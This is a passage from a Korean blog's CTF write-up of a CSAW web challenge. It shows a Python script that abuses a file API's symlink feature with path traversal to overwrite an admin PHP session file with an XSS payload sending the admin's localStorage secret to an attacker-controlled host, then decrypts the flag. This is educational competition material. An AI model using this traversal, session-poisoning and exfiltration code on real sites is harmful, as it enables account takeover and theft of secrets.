여기서 한참 머리싸매다 문제 힌트로 어드민이 계속 사이트에 방문한다고 했으니, 이게 만약 봇이 로그인->어드민페이지 이 루틴도는거면 고정된 세션이라는 가정하에 내가 어드민 세션 파일을 덮어도 다시 어드민 원래 값으로 돌아올거라고 생각했다.

이 시나리오를 토대로 전체 세션 파일에 대해 

읽기 -> 쓰기 -> 읽기 -> 읽기 -> 읽기 -> 읽기 -> 읽기

요 형태로 진행했을때 내가 세션 내용을 덮은 후에 다시 원본 값으로 돌아오는 세션을 찾았다.

여기서 거의 반포기 상태로 돌린거였는데 파일 하나가 나왔다...

sess_4umud1lupqn0mpibor27r283o1

이거 가지고 아래 코드를 통해 xss를 다시 박아보니 admin의 localStorage.encryptSecret 키를 leak 할 수 있었다.


leak_key.py

import requests

import json


def get_list(file_path):

    url = "http://web.chal.csaw.io:1001/api/v1/file/list"

    header = {"Cookie": "PHPSESSID=huqtp469i1ni15bs96tfpgq7p7"}

    data = {"path": file_path}

    result = requests.post(url, data=data, headers=header).text

    a = json.loads(result)

    result = a['data']

    return result


def link(file_path):

    url = "http://web.chal.csaw.io:1001/api/v1/file/symlink"

    header = {"Cookie":"PHPSESSID=huqtp469i1ni15bs96tfpgq7p7"}

    data = {"path":"12345","target":file_path}

    result = requests.post(url,data=data,headers=header).text

    if "ok" not in result:

        print "Fail Path !! = " + file_path


def read(file_path):

    url = "http://web.chal.csaw.io:1001/api/v1/file/read"

    header = {"Cookie": "PHPSESSID=huqtp469i1ni15bs96tfpgq7p7"}

    data = {"path": "12345"}

    result = requests.post(url, data=data,headers=header).text

    if 'current_user|O:4:"User' in result:

        print file_path

        print result

def edit(file_path):

    url = "http://web.chal.csaw.io:1001/api/v1/file/edit"

    header = {"Cookie": "PHPSESSID=huqtp469i1ni15bs96tfpgq7p7"}

    data = {"path": "12345","content":"""current_user|O:4:"User":4:{s:8:"username";s:104:"<script>location.replace('http://my_ip/?d='.concat(localStorage.encryptSecret));</script>";s:8:"password";s:60:"$2y$10$AxHUirflQ7PbIt871V3f.eqqA/9SVxNenqCzlkAa99TlszFoHq.lO";s:5:"privs";i:15;s:2:"id";i:1;}"""}

    result = requests.post(url, data=data,headers=header).text

    if "ok" not in result:

        print "Fail Path !! = " + file_path



for i in range(0,100):

    file_path = "../../../../../../../../tmp/sess_4umud1lupqn0mpibor27r283o1"

    link(file_path)

    read(file_path)

    edit(file_path)

    read(file_path)

localStorage.encryptSecret = wvEXTzNpd5xPostMnBqsqHzfz7Ns1yjqL9kwsuAx4ds=

leak한 키 값으로 flag.txt에 있는 암호화 파일을 복호화 했더니 플래그가 나왔다.

CryptoJS.AES.decrypt("U2FsdGVkX18vg7gzzc/Q2XG2O5vpgFvBvX7nv4mLxfsuKQxvSrMjHu11kDPfUIYVtJ9b5ohVP7olboQV5MDOjQ==",atob("wvEXTzNpd5xPostMnBqsqHzfz7Ns1yjqL9kwsuAx4ds=")).toString();

Flag = flag{fddb53d704808cb859862d3eb9e9609bae3711bb}



'CTF > Writeup' 카테고리의 다른 글

CCE(사이버공격방어대회) 2019 Write up  (0) 2019.09.29
InCTF 2019 Web Write up  (0) 2019.09.23
DefCamp CTF 2019 Web Write up  (0) 2019.09.09
2019 사이버작전 경연대회 THE CAMP  (0) 2019.08.17
DEF CON CTF Qualifier 2019 vitor  (0) 2019.07.15
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

JWT (Json Web Token) Attack

2019. 9. 14. 18:54

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.